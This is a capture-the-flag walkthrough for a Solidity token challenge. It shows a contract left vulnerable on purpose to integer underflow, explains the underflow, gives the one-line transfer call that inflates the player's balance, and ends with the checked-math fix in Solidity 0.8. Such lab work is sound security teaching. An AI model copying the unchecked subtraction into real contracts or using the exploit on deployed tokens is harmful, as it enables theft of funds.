Requirement: basic smart contract knowledge.
The challenge 🥊
Hack the following token contract to increase your token balance:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
Studying the contract 📝
Token.sol
is a token contract.
State variables:
-
balances
:mapping
to keep tracks of the balance of the holders. -
totalSupply
:uint
variable that keeps track of the current supply of tokens.
Methods:
-
constructor
: initializestotalSupply
and allocates the supply to the deployer. -
transfer
: method to move tokens if the account owns tokens. -
balanceOf
: reads the token balance of_owner
.
Holders can move their tokens via the transfer
method if they own tokens.
Hint: An odometer is the instrument used to measure the distance traveled by vehicles. Odometers are known for being tampered by humans by reducing the reading of the device to increase the selling price of a vehicle.
In this challenge the contract is the odometer and we need to find a way to exploit it to increase our token balance.
Underflow and overflow 🧮
If you are new to Solidity you may not be aware of the unsafe math operations prone to underflow and overflow before the release of version v0.8.x
.
Since the release of version v0.8.x
the compiler by default check all maths operations and revert if any of them will underflow or overflow as a safety mechanism. The token contract uses the compiler version v0.6.0
that offers no protection against unsafe math operations.
But how does underflow and overflow works? Let's say we have the following contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract UnsafeMath {
function unsafeAdd() external pure returns (uint8) {
uint8 x = 255;
return x + 1;
}
function unsafeSubtract() external pure returns (uint8) {
uint8 y;
return y - 1;
}
}
unsafeAdd
declares a local variable x
of type uint8
and assign to it the value of 255, which is the maximum value this type can take. If we call this function and add 1 to x
the variable will overflow and will take the minimum value allowed which is zero.
unsafeSubtract
does the opposite, declares a local variable y
that is initiliazed as zero, when the function is executed and we subtract 1 from y
the variable will underflow and instead of taking a value of -1 it will take the maximum value in this type which is 255.
As you can see this is extremely concerning specially if the contract handles money like Token
. Imagine you have 255 tokens of X token and after receiving a new token your entire balance resets to zero and this mean total lost of funds!
Breaking the contract 💣🧨
The transfer
function is the one in charge of updating the balances of the holders after each transaction of tokens, therefore this function is prone to underflow/overflow.
Our current balance is consist of 20 tokens, after learning about unsafe math operations we know that if we cause an underflow our balance will be set to the maximum value of the uint256
type and that is a huge number.
To cause an underflow let's send 21 tokens to an account:
await contract.transfer("0x0000000000000000000000000000000000000000", 21)
We are transferring 21 tokens to the address zero
. When the execution reaches the require
and evaluates the condition balances[msg.sender] - _value >= 0
, 20 - 21 will underflow and the condition will evaluate maxUint256 - 21 >= 0
which is true
.
After sending the transaction, check your balance:
// should return:
// 115792089237316195423570985008687907853269984665640564039457584007913129639935
await contract.balanceOf(player).then(bal => bal.toString())
Now we own an absurd amount of tokens. Submit the intance fo complete this level.
Conclusion ✅
Since the release of Solidity v.0.8.x
the compiler by default checks all math operations and reverts the transaction in the case an underflow/overflow.
This default behavior can be disabled by wrapping the operation inside a unchecked
block, but be sure the operation will never underflow or overflow.
function uncheckedAdd(uint x, uint y) external pure returns (uint) {
// 22291 gas
// return x + y;
// 22103 gas
unchecked {
return x + y;
}
}
A benefit of wrapping the math operation inside the unchecked
block is that the compiler will perform less logic, reducing execution cost.
Top comments (0)